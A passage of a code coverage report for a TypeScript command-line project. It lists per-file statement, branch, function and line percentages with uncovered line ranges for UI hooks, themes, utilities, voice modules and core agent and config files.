  SkillsList.tsx   |   20.51 |      100 |       0 |   20.51 | 17-20,27-57       
  ToolsList.tsx    |     100 |      100 |     100 |     100 |                   
 src/ui/contexts   |   84.16 |    81.83 |   85.13 |   84.16 |                   
  ...ewContext.tsx |   64.83 |    88.88 |      50 |   64.83 | ...16-219,225-235 
  AppContext.tsx   |      80 |       50 |     100 |      80 | 19-20             
  ...ewContext.tsx |   93.83 |    68.51 |   42.85 |   93.83 | ...44,281-285,317 
  ...igContext.tsx |   81.81 |       50 |     100 |   81.81 | 15-16             
  ...ssContext.tsx |   85.65 |    84.85 |     100 |   85.65 | ...1612-1614,1620 
  ...owContext.tsx |   91.07 |    81.81 |     100 |   91.07 | 47-48,60-62       
  ...deContext.tsx |     100 |      100 |      50 |     100 |                   
  ...onContext.tsx |   80.77 |       80 |    92.3 |   80.77 | ...31-434,443-446 
  ...gsContext.tsx |     100 |      100 |     100 |     100 |                   
  ...usContext.tsx |     100 |      100 |     100 |     100 |                   
  ...ngContext.tsx |   71.42 |       50 |     100 |   71.42 | 17-20             
  ...utContext.tsx |   85.71 |      100 |   66.66 |   85.71 | 13-14             
  ...edContext.tsx |     100 |      100 |      50 |     100 |                   
  ...nsContext.tsx |   88.88 |       50 |     100 |   88.88 | 156-157           
  ...teContext.tsx |   86.66 |       50 |     100 |   86.66 | 235-236           
  ...deContext.tsx |      80 |     87.5 |      75 |      80 | ...11-112,118-120 
  ...rtContext.tsx |     100 |      100 |     100 |     100 |                   
 src/ui/daemon     |   88.35 |    73.51 |   95.45 |   88.35 |                   
  ...ui-adapter.ts |   88.35 |    73.51 |   95.45 |   88.35 | ...74,792-793,879 
 src/ui/editors    |       0 |        0 |       0 |       0 |                   
  ...ngsManager.ts |       0 |        0 |       0 |       0 | 1-67              
 src/ui/hooks      |   85.96 |     83.9 |   87.78 |   85.96 |                   
  ...dProcessor.ts |   85.53 |    85.13 |     100 |   85.53 | ...-970,1017-1018 
  ...ention-ref.ts |   97.72 |       84 |     100 |   97.72 | 65                
  keyToAnsi.ts     |    3.92 |      100 |       0 |    3.92 | 19-77             
  ...esourceRef.ts |     100 |      100 |     100 |     100 |                   
  ...completion.ts |     100 |    95.45 |     100 |     100 | 95                
  ...ention-ref.ts |     100 |      100 |     100 |     100 |                   
  ...dProcessor.ts |   94.62 |    73.58 |     100 |   94.62 | ...87-288,293-294 
  ...dProcessor.ts |   86.86 |    71.67 |   83.33 |   86.86 | ...1540,1562-1566 
  ...rt-command.ts |     100 |      100 |     100 |     100 |                   
  ...sced-flush.ts |     100 |      100 |     100 |     100 |                   
  ...ng-enabled.ts |     100 |      100 |     100 |     100 |                   
  ...oice-input.ts |   92.36 |    81.95 |   66.66 |   92.36 | ...00,502-503,658 
  ...ke-repaint.ts |     100 |      100 |     100 |     100 |                   
  ...amingState.ts |   12.22 |      100 |       0 |   12.22 | 54-157            
  ...agerDialog.ts |   88.23 |      100 |     100 |   88.23 | 20,24             
  ...dScrollbar.ts |     100 |      100 |     100 |     100 |                   
  ...ationFrame.ts |      52 |    63.63 |     100 |      52 | ...59,67-70,76-87 
  ...odeCommand.ts |   58.82 |      100 |     100 |   58.82 | 28,33-48          
  ...enaCommand.ts |      85 |      100 |     100 |      85 | 23-24,29          
  ...aInProcess.ts |   27.92 |       80 |      25 |   27.92 | ...69-170,173-175 
  ...Completion.ts |   86.44 |    88.48 |     100 |   86.44 | ...14-515,525-541 
  ...ifications.ts |   87.82 |    96.77 |     100 |   87.82 | 138-152           
  ...tIndicator.ts |   88.28 |    81.57 |     100 |   88.28 | ...66,175,179-187 
  ...waySummary.ts |   96.26 |       75 |     100 |   96.26 | 126-128,170       
  ...ndTaskView.ts |   94.89 |    77.55 |     100 |   94.89 | 164-168,257,263   
  ...chedScroll.ts |     100 |      100 |     100 |     100 |                   
  ...ketedPaste.ts |    23.8 |      100 |       0 |    23.8 | 19-37             
  ...nchCommand.ts |   95.53 |    83.01 |     100 |   95.53 | ...64-165,289-292 
  ...ompletion.tsx |   97.09 |    87.09 |     100 |   97.09 | ...23-324,334-335 
  ...dMigration.ts |    92.1 |    88.88 |     100 |    92.1 | 42-44             
  useCompletion.ts |   96.29 |    90.56 |     100 |   96.29 | ...17-218,222-223 
  ...nitMessage.ts |     100 |      100 |     100 |     100 |                   
  ...extualTips.ts |   78.26 |       50 |     100 |   78.26 | ...2,75-79,96-104 
  ...eteCommand.ts |   89.52 |    90.69 |     100 |   89.52 | ...98-106,114-115 
  ...ialogClose.ts |   36.11 |       10 |     100 |   36.11 | ...89-195,202-207 
  useDiffData.ts   |       0 |        0 |       0 |       0 | 1-87              
  ...oublePress.ts |   53.12 |       75 |     100 |   53.12 | 33-35,41-54       
  ...orSettings.ts |     100 |      100 |     100 |     100 |                   
  ...Completion.ts |   99.12 |    97.67 |     100 |   99.12 | 182-183           
  ...ionUpdates.ts |   93.72 |    92.98 |     100 |   93.72 | ...87-291,314-320 
  ...agerDialog.ts |   88.88 |      100 |     100 |   88.88 | 21,25             
  ...backDialog.ts |    63.9 |    76.47 |   66.66 |    63.9 | ...66-168,190-191 
  useFocus.ts      |     100 |      100 |     100 |     100 |                   
  ...olderTrust.ts |     100 |    93.33 |     100 |     100 | 62                
  ...ggestions.tsx |   96.47 |    78.94 |     100 |   96.47 | 121,155-156       
  ...miniStream.ts |   87.36 |    84.33 |   77.77 |   87.36 | ...5692-5694,5696 
  ...BranchName.ts |     100 |    94.44 |     100 |     100 | 54                
  ...oryManager.ts |   98.38 |    98.85 |     100 |   98.38 | 141-144           
  ...ooksDialog.ts |    87.5 |      100 |     100 |    87.5 | 19,23             
  ...stListener.ts |     100 |      100 |     100 |     100 |                   
  ...nAuthError.ts |   76.19 |       50 |     100 |   76.19 | 39-40,43-45       
  ...putHistory.ts |   92.59 |    85.71 |     100 |   92.59 | 63-64,72,94-96    
  ...storyStore.ts |     100 |    94.11 |     100 |     100 | 69                
  useKeypress.ts   |     100 |      100 |     100 |     100 |                   
  ...rdProtocol.ts |   36.36 |      100 |       0 |   36.36 | 24-31             
  ...unchEditor.ts |   22.58 |      100 |      50 |   22.58 | 11-32,44-85       
  ...gIndicator.ts |     100 |    96.66 |     100 |     100 | 109               
  useLogger.ts     |      16 |      100 |       0 |      16 | 15-45             
  useMCPHealth.ts  |   10.52 |      100 |       0 |   10.52 | 36-75             
  ...cpApproval.ts |   93.12 |    86.11 |     100 |   93.12 | ...24-127,139-140 
  useMcpDialog.ts  |    87.5 |      100 |     100 |    87.5 | 19,23             
  ...moryDialog.ts |    87.5 |      100 |     100 |    87.5 | 19,23             
  ...oryMonitor.ts |   83.14 |    78.57 |     100 |   83.14 | 54-63,74-79       
  ...ssageQueue.ts |     100 |     97.4 |     100 |     100 | 175,262           
  ...delCommand.ts |     100 |       96 |     100 |     100 | 61                
  ...ouseEvents.ts |   94.89 |       95 |   83.33 |   94.89 | 78-82             
  ...raseCycler.ts |   84.74 |    76.47 |     100 |   84.74 | ...49,52-53,69-71 
  ...rredEditor.ts |   58.33 |    22.22 |     100 |   58.33 | 23-27,29-33       
  ...derUpdates.ts |   85.29 |    80.28 |    92.3 |   85.29 | ...36,351-361,441 
  useQwenAuth.ts   |     100 |      100 |     100 |     100 |                   
  ...lScheduler.ts |   89.13 |     86.9 |     100 |   89.13 | ...61-463,496-506 
  ...oryCommand.ts |       0 |        0 |       0 |       0 | 1-7               
  ...umeCommand.ts |   95.34 |    77.14 |     100 |   95.34 | 124-125,227-232   
  ...ompletion.tsx |   90.67 |    83.33 |     100 |   90.67 | ...02,105,138-141 
  ...ectionList.ts |   97.12 |    96.19 |     100 |   97.12 | ...92-193,247-250 
  ...sionPicker.ts |   92.87 |    90.35 |     100 |   92.87 | ...99-501,503-505 
  ...earchInput.ts |     100 |    97.29 |     100 |     100 | 82                
  ...ngsCommand.ts |   18.75 |      100 |       0 |   18.75 | 10-25             
  ...ellHistory.ts |   93.28 |    80.95 |     100 |   93.28 | ...96,153-154,164 
  ...oryCommand.ts |   85.48 |    58.33 |     100 |   85.48 | 22-28,40,71       
  ...agerDialog.ts |   88.23 |      100 |     100 |   88.23 | 20,24             
  ...Completion.ts |   82.85 |    85.13 |   94.73 |   82.85 | ...78-680,688-724 
  ...tateAndRef.ts |     100 |      100 |     100 |     100 |                   
  ...tatsDialog.ts |     100 |      100 |     100 |     100 |                   
  useStatusLine.ts |   97.32 |    93.93 |     100 |   97.32 | ...18-422,518-525 
  ...eateDialog.ts |   88.23 |      100 |     100 |   88.23 | 14,18             
  ...mInProcess.ts |   27.35 |       80 |      25 |   27.35 | ...82-183,186-188 
  ...tification.ts |     100 |     87.5 |     100 |     100 | 50                
  ...alProgress.ts |   67.34 |    58.82 |   66.66 |   67.34 | 52-53,61-68,79-85 
  ...rminalSize.ts |     100 |      100 |     100 |     100 |                   
  ...emeCommand.ts |    79.2 |    35.29 |     100 |    79.2 | ...15-116,120-121 
  useTimer.ts      |   97.59 |    94.73 |     100 |   97.59 | 17-18             
  ...lMigration.ts |       0 |        0 |       0 |       0 |                   
  ...rustModify.ts |     100 |    90.47 |     100 |     100 | 112,134           
  useTurnDiffs.ts  |   95.12 |    78.57 |     100 |   95.12 | 133-134,156-157   
  ...elcomeBack.ts |   87.36 |     90.9 |     100 |   87.36 | ...,94-96,114-115 
  ...reeSession.ts |   93.75 |       70 |     100 |   93.75 | 47-48,72          
  vim.ts           |      74 |    67.56 |   69.23 |      74 | ...1854-1861,1869 
 src/ui/layouts    |   91.25 |    89.47 |     100 |   91.25 |                   
  ...AppLayout.tsx |   90.99 |     87.5 |     100 |   90.99 | 61-63,111-116,152 
  ...AppLayout.tsx |   91.66 |    92.85 |     100 |   91.66 | 75-80             
 src/ui/models     |   80.72 |       80 |   71.42 |   80.72 |                   
  ...ableModels.ts |   80.72 |       80 |   71.42 |   80.72 | ...,61-71,125-127 
 ...noninteractive |     100 |      100 |    6.66 |     100 |                   
  ...eractiveUi.ts |     100 |      100 |    6.66 |     100 |                   
 src/ui/selection  |   93.56 |    86.13 |     100 |   93.56 |                   
  screen-buffer.ts |   94.73 |    64.28 |     100 |   94.73 | 51-52             
  ...ion-coords.ts |     100 |      100 |     100 |     100 |                   
  ...ction-span.ts |   93.81 |     92.1 |     100 |   93.81 | ...1,45-46,99-100 
  ...tion-state.ts |     100 |      100 |     100 |     100 |                   
  ...ction-text.ts |   93.85 |    93.44 |     100 |   93.85 | 30-34,130-131     
  ...selection.tsx |   91.88 |    78.57 |     100 |   91.88 | ...16-417,446-447 
 src/ui/state      |      95 |    81.81 |     100 |      95 |                   
  extensions.ts    |      95 |    81.81 |     100 |      95 | 69-70,89          
 src/ui/themes     |    98.5 |    73.17 |     100 |    98.5 |                   
  ansi-light.ts    |     100 |      100 |     100 |     100 |                   
  ansi.ts          |     100 |      100 |     100 |     100 |                   
  atom-one-dark.ts |     100 |      100 |     100 |     100 |                   
  ayu-light.ts     |     100 |      100 |     100 |     100 |                   
  ayu.ts           |     100 |      100 |     100 |     100 |                   
  color-utils.ts   |   99.23 |    97.05 |     100 |   99.23 | 277-278           
  default-light.ts |     100 |      100 |     100 |     100 |                   
  default.ts       |     100 |      100 |     100 |     100 |                   
  ...inal-theme.ts |   88.59 |    85.96 |     100 |   88.59 | ...57-261,266-270 
  dracula.ts       |     100 |      100 |     100 |     100 |                   
  github-dark.ts   |     100 |      100 |     100 |     100 |                   
  github-light.ts  |     100 |      100 |     100 |     100 |                   
  googlecode.ts    |     100 |      100 |     100 |     100 |                   
  no-color.ts      |     100 |      100 |     100 |     100 |                   
  qwen-dark.ts     |     100 |      100 |     100 |     100 |                   
  qwen-light.ts    |     100 |      100 |     100 |     100 |                   
  ...tic-tokens.ts |     100 |      100 |     100 |     100 |                   
  ...-of-purple.ts |     100 |      100 |     100 |     100 |                   
  theme-manager.ts |   88.68 |    84.52 |     100 |   88.68 | ...83-392,397-398 
  theme.ts         |     100 |    38.02 |     100 |     100 | ...34-449,457-461 
  xcode.ts         |     100 |      100 |     100 |     100 |                   
 src/ui/utils      |   87.61 |    85.68 |   95.81 |   87.61 |                   
  ...Colorizer.tsx |   80.31 |    85.41 |     100 |   80.31 | ...00-201,313-339 
  ...nRenderer.tsx |   80.07 |     75.6 |     100 |   80.07 | ...70,274,332-333 
  ...wnDisplay.tsx |   92.87 |    93.46 |     100 |   92.87 | ...,955,1002-1020 
  ...idDiagram.tsx |   87.79 |    95.34 |     100 |   87.79 | 156-179           
  ...eRenderer.tsx |   93.63 |    81.77 |   95.23 |   93.63 | ...47-750,803-808 
  ...odeDisplay.ts |   94.28 |    85.71 |     100 |   94.28 | 23,40             
  asciiCharts.ts   |    96.7 |     87.5 |     100 |    96.7 | 170-177,278       
  ...dWorkUtils.ts |     100 |      100 |     100 |     100 |                   
  ...boardUtils.ts |    52.9 |    74.15 |    92.3 |    52.9 | ...29,632-641,644 
  commandUtils.ts  |   98.38 |    92.38 |     100 |   98.38 | 108,136-137,343   
  computeStats.ts  |     100 |      100 |     100 |     100 |                   
  customBanner.ts  |   90.68 |    91.22 |     100 |   90.68 | ...13,324-327,334 
  displayUtils.ts  |   73.84 |    73.91 |     100 |   73.84 | ...34,36-40,42-46 
  formatters.ts    |   94.87 |    98.24 |     100 |   94.87 | 116-119           
  goal-runtime.ts  |   91.42 |       95 |     100 |   91.42 | 32-34             
  gradientUtils.ts |     100 |      100 |     100 |     100 |                   
  highlight.ts     |     100 |      100 |     100 |     100 |                   
  ...gap-notice.ts |     100 |      100 |     100 |     100 |                   
  ...oryMapping.ts |     100 |       95 |     100 |     100 | 44,103            
  historyUtils.ts  |   96.03 |     97.1 |     100 |   96.03 | 103-106           
  ...mage-parts.ts |   97.75 |    94.59 |     100 |   97.75 | 82-83             
  inline-math.ts   |   98.48 |    95.23 |     100 |   98.48 | 129-130           
  input-mouse.ts   |     100 |    85.71 |     100 |     100 | 48,93             
  isNarrowWidth.ts |     100 |      100 |     100 |     100 |                   
  ...olDetector.ts |   68.81 |       75 |   66.66 |   68.81 | ...27-132,160-161 
  latexRenderer.ts |   94.95 |     73.8 |     100 |   94.95 | ...76-178,184-187 
  layoutUtils.ts   |     100 |      100 |     100 |     100 |                   
  list-mouse.ts    |     100 |      100 |     100 |     100 |                   
  ...ightLoader.ts |     100 |       95 |     100 |     100 | 81                
  ...nUtilities.ts |   98.72 |    94.36 |     100 |   98.72 | 145-146           
  ...t-position.ts |     100 |     87.5 |     100 |     100 | 85                
  ...geRenderer.ts |   86.51 |    70.16 |   95.12 |   86.51 | ...1286,1326-1332 
  ...alRenderer.ts |   86.69 |     71.9 |     100 |   86.69 | ...1476,1513-1519 
  ...lsBySource.ts |     100 |    95.23 |     100 |     100 | 84                
  mouse.ts         |   92.85 |    74.19 |     100 |   92.85 | ...38,145,149-152 
  osc8.ts          |   91.33 |    79.03 |     100 |   91.33 | ...73,273,277-278 
  ...red-height.ts |   98.38 |    97.14 |     100 |   98.38 | 195-197           
  ...mConstants.ts |     100 |      100 |     100 |     100 |                   
  restoreGoal.ts   |     100 |      100 |     100 |     100 |                   
  ...storyUtils.ts |   82.86 |    79.48 |     100 |   82.86 | ...88-610,741-742 
  ...ickerUtils.ts |     100 |      100 |     100 |     100 |                   
  ...evel-label.ts |   77.77 |    66.66 |     100 |   77.77 | 18,22-24          
  ...are-cursor.ts |   89.47 |    85.71 |     100 |   89.47 | 39-44             
  ...ataService.ts |   93.17 |     79.1 |     100 |   93.17 | ...14,227,254-256 
  suggestions.ts   |     100 |      100 |     100 |     100 |                   
  ...izedOutput.ts |   95.19 |      100 |   88.88 |   95.19 | 121-126           
  ...nal-buffer.ts |     100 |      100 |     100 |     100 |                   
  ...e-renderer.ts |   90.61 |    83.44 |     100 |   90.61 | ...80,482-484,607 
  ...ize-reflow.ts |     100 |     92.3 |     100 |     100 | 57,62,209,217,347 
  ...wOptimizer.ts |     100 |    94.11 |     100 |     100 | 33,76             
  terminalSetup.ts |    4.37 |      100 |       0 |    4.37 | 44-393            
  textUtils.ts     |   97.94 |    95.49 |   94.11 |   97.94 | ...82-283,443-444 
  ...background.ts |     100 |      100 |     100 |     100 |                   
  todoSnapshot.ts  |   90.42 |    92.85 |     100 |   90.42 | ...06-207,240-241 
  ...isplay-map.ts |     100 |      100 |     100 |     100 |                   
  updateCheck.ts   |     100 |    92.75 |     100 |     100 | 227-239,331       
  windowTitle.ts   |   96.55 |    94.73 |     100 |   96.55 | 56-57             
  ...ow-keyword.ts |     100 |      100 |     100 |     100 |                   
 ...i/utils/export |   75.03 |     60.3 |   94.59 |   75.03 |                   
  collect.ts       |   71.27 |    66.38 |      96 |   71.27 | ...90-633,655-656 
  index.ts         |     100 |      100 |     100 |     100 |                   
  normalize.ts     |   80.42 |    50.68 |     100 |   80.42 | ...59-364,376-378 
  types.ts         |       0 |        0 |       0 |       0 | 1                 
  utils.ts         |     100 |      100 |     100 |     100 |                   
 ...ort/formatters |   52.92 |    47.22 |   71.42 |   52.92 |                   
  html.ts          |   84.61 |       50 |     100 |   84.61 | ...53,57-58,62-63 
  json.ts          |     100 |      100 |     100 |     100 |                   
  jsonl.ts         |   82.45 |     37.5 |     100 |   82.45 | ...48,50-51,65-66 
  markdown.ts      |   36.32 |    47.05 |      50 |   36.32 | ...16-219,233-295 
 src/ui/voice      |   81.27 |    79.92 |   81.94 |   81.27 |                   
  ...d-recorder.ts |     6.2 |      100 |       0 |     6.2 | ...33-159,162-163 
  ...o-recorder.ts |   84.61 |    93.33 |   57.14 |   84.61 | ...16-117,131-136 
  ...me-session.ts |   91.09 |     92.1 |     100 |   91.09 | ...99,305,316-319 
  sox-recorder.ts  |    92.7 |    71.87 |     100 |    92.7 | ...34-135,153-154 
  ...ailability.ts |     100 |      100 |     100 |     100 |                   
  ...e-keyterms.ts |     100 |      100 |     100 |     100 |                   
  voice-model.ts   |     100 |      100 |     100 |     100 |                   
  ...e-recorder.ts |   88.29 |    67.74 |   81.81 |   88.29 | ...,98-99,112,115 
  voice-refine.ts  |     100 |    93.33 |     100 |     100 | 92                
  ...ream-retry.ts |   86.79 |       70 |     100 |   86.79 | 16-18,48-49,59-60 
  ...am-session.ts |   88.02 |    66.66 |   84.61 |   88.02 | ...26,343-345,363 
  ...ranscriber.ts |     100 |      100 |     100 |     100 |                   
 src/utils         |   81.57 |    87.31 |    92.7 |   81.57 |                   
  ...p-profiler.ts |   98.39 |    92.59 |     100 |   98.39 | 141,185,235       
  acpModelUtils.ts |   97.36 |    95.19 |     100 |   97.36 | ...09-210,214-215 
  apiPreconnect.ts |   96.74 |    94.59 |     100 |   96.74 | 167-170           
  ...ol-call-id.ts |   84.61 |       60 |     100 |   84.61 | 26-27,37-38       
  ...ng-failure.ts |     100 |      100 |     100 |     100 |                   
  checks.ts        |   33.33 |      100 |       0 |   33.33 | 23-28             
  ...-api-error.ts |     100 |    96.42 |     100 |     100 | 14                
  cleanup.ts       |   84.05 |    94.11 |      80 |   84.05 | 80,111-121        
  commands.ts      |   97.45 |    96.66 |     100 |   97.45 | 153-155           
  ...Calculator.ts |     100 |      100 |     100 |     100 |                   
  cpuProfiler.ts   |   70.73 |    73.23 |   88.88 |   70.73 | ...27,430-431,438 
  deepMerge.ts     |     100 |    89.65 |     100 |     100 | 41-43,49          
  ...re-runtime.ts |     100 |      100 |     100 |     100 |                   
  ...ScopeUtils.ts |   97.56 |    88.88 |     100 |   97.56 | 67                
  doctorChecks.ts  |   70.31 |    74.57 |     100 |   70.31 | ...95-301,325-341 
  ...putCapture.ts |   90.65 |    86.31 |     100 |   90.65 | ...73,371,373-374 
  ...arResolver.ts |   97.14 |    96.55 |     100 |   97.14 | 125-126           
  errors.ts        |   97.56 |    94.64 |     100 |   97.56 | 69-70,304-305     
  events.ts        |     100 |      100 |     100 |     100 |                   
  ...on-mention.ts |   88.48 |     82.6 |     100 |   88.48 | ...56-160,164-168 
  gitUtils.ts      |   92.85 |    86.66 |     100 |   92.85 | ...13-116,164-167 
  ...AutoUpdate.ts |    93.1 |       94 |      90 |    93.1 | 103,108,179-190   
  ...tyWarnings.ts |     100 |      100 |     100 |     100 |                   
  ...lationInfo.ts |   97.68 |    94.28 |     100 |   97.68 | ...64,381-382,427 
  ...projection.ts |   95.27 |    95.58 |     100 |   95.27 | 140-145           
  jsonc-editor.ts  |   93.18 |    92.66 |     100 |   93.18 | ...80-381,384-385 
  languageUtils.ts |   98.88 |    97.01 |     100 |   98.88 | 184-185           
  load-undici.ts   |     100 |      100 |     100 |     100 |                   
  ...npm-update.ts |   86.64 |    77.02 |     100 |   86.64 | ...03-304,335-345 
  math.ts          |       0 |        0 |       0 |       0 | 1-15              
  ...er-mention.ts |     100 |    66.66 |     100 |     100 | 14,30,44-46       
  ...iagnostics.ts |   94.57 |    83.01 |   88.88 |   94.57 | ...05,311,315-317 
  ...serMessage.ts |     100 |      100 |     100 |     100 |                   
  ...onfigUtils.ts |   94.25 |    91.17 |     100 |   94.25 | ...30,436,439-443 
  ...iveHelpers.ts |   95.13 |    91.79 |     100 |   95.13 | ...53-454,552,565 
  osc.ts           |   97.18 |      100 |    87.5 |   97.18 | 182-183           
  package.ts       |   88.88 |    85.71 |     100 |   88.88 | 31-32             
  ...uggestions.ts |   84.29 |    70.83 |     100 |   84.29 | 70-76,92-103      
  processUtils.ts  |    92.3 |       80 |     100 |    92.3 | 45-46             
  readStdin.ts     |   93.67 |    94.11 |   85.71 |   93.67 | 79-83             
  relaunch.ts      |   95.87 |    89.28 |     100 |   95.87 | 103-105,131       
  resolvePath.ts   |     100 |      100 |     100 |     100 |                   
  runBudget.ts     |   99.35 |    96.77 |     100 |   99.35 | 119               
  sandbox-path.ts  |     100 |      100 |     100 |     100 |                   
  sandbox.ts       |   45.52 |    57.35 |   76.92 |   45.52 | ...1040,1052-1075 
  ...xImageName.ts |     100 |    77.77 |     100 |     100 | 10,18             
  sandboxMounts.ts |     100 |      100 |     100 |     100 |                   
  ...-path-argv.ts |     100 |      100 |     100 |     100 |                   
  sessionPaths.ts  |   90.84 |    90.56 |     100 |   90.84 | ...81-182,185-186 
  settingsUtils.ts |   82.35 |    89.57 |      90 |   82.35 | ...25-743,750-758 
  spawnWrapper.ts  |     100 |      100 |     100 |     100 |                   
  ...ate-verify.ts |     100 |      100 |     100 |     100 |                   
  ...one-update.ts |   39.81 |    77.44 |   62.16 |   39.81 | ...1193,1196-1215 
  ...upProfiler.ts |   98.47 |    94.66 |     100 |   98.47 | 132-133,308       
  ...upWarnings.ts |     100 |      100 |     100 |     100 |                   
  stdioHelpers.ts  |     100 |       90 |     100 |     100 | 23                
  systemInfo.ts    |   95.09 |    90.27 |     100 |   95.09 | ...54-255,260-264 
  ...InfoFields.ts |    87.5 |    65.85 |     100 |    87.5 | ...24-125,146-147 
  ...alSequence.ts |     100 |    97.61 |     100 |     100 | 60                
  ...iffPreview.ts |   76.47 |       25 |     100 |   76.47 | 13,17,23-24       
  ...on-handler.ts |    73.8 |       75 |     100 |    73.8 | 17-18,25-26,67-73 
  ...e-relaunch.ts |   89.61 |    86.66 |      50 |   89.61 | 56-61,83-84       
  ...entEmitter.ts |     100 |      100 |     100 |     100 |                   
  ...ansionHook.ts |     100 |      100 |     100 |     100 |                   
  ...upWarnings.ts |   87.75 |       75 |     100 |   87.75 | 47-48,53-54,57-58 
  version.ts       |     100 |    66.66 |     100 |     100 | 11                
  ...ingHandler.ts |     100 |      100 |     100 |     100 |                   
  ...WithBackup.ts |   65.04 |    77.77 |     100 |   65.04 | 97,112,133-172    
 ...s/housekeeping |   93.51 |    90.95 |   96.96 |   93.51 |                   
  cleanup.ts       |   92.59 |    93.75 |     100 |   92.59 | ...02-205,209-211 
  ...eractionAt.ts |     100 |      100 |     100 |     100 |                   
  scheduler.ts     |      93 |    88.34 |      95 |      93 | ...57-359,411-415 
  throttledOnce.ts |   95.95 |    93.93 |     100 |   95.95 | 77-78,153-154     
-------------------|---------|----------|---------|---------|-------------------
Core Package - Full Text Report
-------------------|---------|----------|---------|---------|-------------------
File               | % Stmts | % Branch | % Funcs | % Lines | Uncovered Line #s 
-------------------|---------|----------|---------|---------|-------------------
All files          |   88.03 |    86.58 |   89.57 |   88.03 |                   
 src               |     100 |      100 |     100 |     100 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
 src/__mocks__/fs  |       0 |        0 |       0 |       0 |                   
  promises.ts      |       0 |        0 |       0 |       0 | 1-48              
 src/agents        |   90.45 |    84.65 |   94.88 |   90.45 |                   
  ...transcript.ts |   88.49 |    84.09 |     100 |   88.49 | ...32,640,646-650 
  ...ent-resume.ts |   85.59 |    77.75 |   83.33 |   85.59 | ...1794-1798,1801 
  ...ound-tasks.ts |   94.63 |    90.13 |   96.38 |   94.63 | ...1773,1793-1796 
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...ent-result.ts |    96.8 |    92.68 |     100 |    96.8 | 106,129-131       
  ...n-registry.ts |   94.79 |     87.7 |     100 |   94.79 | ...1067,1081-1083 
  ...w-snapshot.ts |   92.12 |    77.14 |     100 |   92.12 | ...65,189,196-198 
 src/agents/arena  |   76.94 |    68.22 |   78.94 |   76.94 |                   
  ...gentClient.ts |   79.47 |    88.88 |   81.81 |   79.47 | ...68-183,189-204 
  ArenaManager.ts  |   75.89 |     65.2 |   78.57 |   75.89 | ...1887,1893-1894 
  arena-events.ts  |   64.44 |      100 |      50 |   64.44 | ...71-175,178-183 
  diff-summary.ts  |    87.5 |    72.34 |     100 |    87.5 | ...32-133,137-138 
  index.ts         |     100 |      100 |     100 |     100 |                   
  types.ts         |     100 |      100 |     100 |     100 |                   
 ...gents/backends |   78.09 |    85.23 |   76.28 |   78.09 |                   
  ITermBackend.ts  |   97.97 |    93.93 |     100 |   97.97 | ...78-180,255,307 
  ...essBackend.ts |    90.9 |    85.36 |   93.33 |    90.9 | ...70,672,674-675 
  TmuxBackend.ts   |    90.7 |    76.55 |   97.36 |    90.7 | ...87,697,743-747 
  detect.ts        |   31.25 |      100 |       0 |   31.25 | 34-88             
  index.ts         |     100 |      100 |     100 |     100 |                   
  iterm-it2.ts     |     100 |     92.1 |     100 |     100 | 37-38,106         
  tmux-commands.ts |    6.64 |      100 |    3.03 |    6.64 | ...93-363,386-503 
  types.ts         |     100 |      100 |     100 |     100 |                   
 ...agents/runtime |   91.22 |    86.83 |   89.31 |   91.22 |                   
  agent-context.ts |     100 |      100 |     100 |     100 |                   
  agent-core.ts    |   85.07 |     76.8 |   77.77 |   85.07 | ...2291,2337-2339 
  agent-events.ts  |     100 |      100 |     100 |     100 |                   
  ...t-headless.ts |   93.49 |    89.41 |   83.33 |   93.49 | ...96-497,500-501 
  ...nteractive.ts |   81.01 |    82.35 |   76.66 |   81.01 | ...33,535-538,541 
  ...statistics.ts |   98.29 |    82.55 |     100 |   98.29 | 141,165,206,239   
  agent-types.ts   |     100 |      100 |     100 |     100 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...ool-policy.ts |   98.38 |      100 |    92.3 |   98.38 | 85-86             
  ...low-budget.ts |     100 |      100 |     100 |     100 |                   
  ...-scheduler.ts |   97.43 |    96.36 |     100 |   97.43 | 128-130           
  ...ow-journal.ts |   91.76 |    75.86 |     100 |   91.76 | ...38-139,179-181 
  ...chestrator.ts |   92.92 |    90.57 |   84.61 |   92.92 | ...2012,2061-2064 
  ...ow-prompts.ts |     100 |      100 |     100 |     100 |                   
  ...low-runner.ts |   94.85 |     87.5 |   92.85 |   94.85 | ...93,260,280-283 
  ...ow-sandbox.ts |   96.85 |    91.28 |     100 |   96.85 | ...1705,1711-1712 
  ...flow-saved.ts |   96.51 |    94.36 |     100 |   96.51 | 134-135,234-237   
  ...flow-stall.ts |    97.9 |    83.33 |     100 |    97.9 | 138-139,236       
 src/agents/tasks  |     100 |      100 |     100 |     100 |                   
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/agents/team   |   82.72 |    84.65 |   89.05 |   82.72 |                   
  TeamManager.ts   |    73.6 |    80.82 |   79.62 |    73.6 | ...1706,1729-1730 
  identity.ts      |     100 |      100 |     100 |     100 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...sionBridge.ts |     100 |      100 |     100 |     100 |                   
  mailbox.ts       |   96.02 |    87.23 |     100 |   96.02 | 352-358           
  ...ptAddendum.ts |     100 |      100 |     100 |     100 |                   
  tasks.ts         |   89.24 |    82.82 |     100 |   89.24 | ...-994,1038-1039 
  team-events.ts   |   60.52 |      100 |      50 |   60.52 | ...40-144,151-155 
  teamHelpers.ts   |   92.02 |    94.91 |   95.23 |   92.02 | ...31-332,368-378 
  types.ts         |     100 |      100 |     100 |     100 |                   
 ...eam/test-utils |   94.39 |    94.35 |   98.21 |   94.39 |                   
  ...on-harness.ts |   96.49 |       85 |     100 |   96.49 | 128-129,141-142   
  fake-agent.ts    |   98.49 |    95.16 |     100 |   98.49 | 201-203           
  fake-backend.ts  |   86.46 |    97.61 |   95.83 |   86.46 | 124-146           
 src/config        |   84.09 |    86.63 |   75.15 |   84.09 |                   
  approval-mode.ts |     100 |      100 |     100 |     100 |                   
  ...xtDefaults.ts |     100 |      100 |     100 |     100 |                   
  config.ts        |   83.38 |    86.34 |   73.59 |   83.38 | ...8728,8732-8733 
  constants.ts     |     100 |      100 |     100 |     100 |                   
  models.ts        |     100 |      100 |     100 |     100 |                   
  storage.ts       |   94.39 |    91.57 |   88.23 |   94.39 | ...45-446,449-450 
 ...nfirmation-bus |   98.27 |    97.14 |     100 |   98.27 |                   
  message-bus.ts   |   98.14 |    97.05 |     100 |   98.14 | 42-43             
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/core          |   92.46 |    88.19 |    93.3 |   92.46 |                   
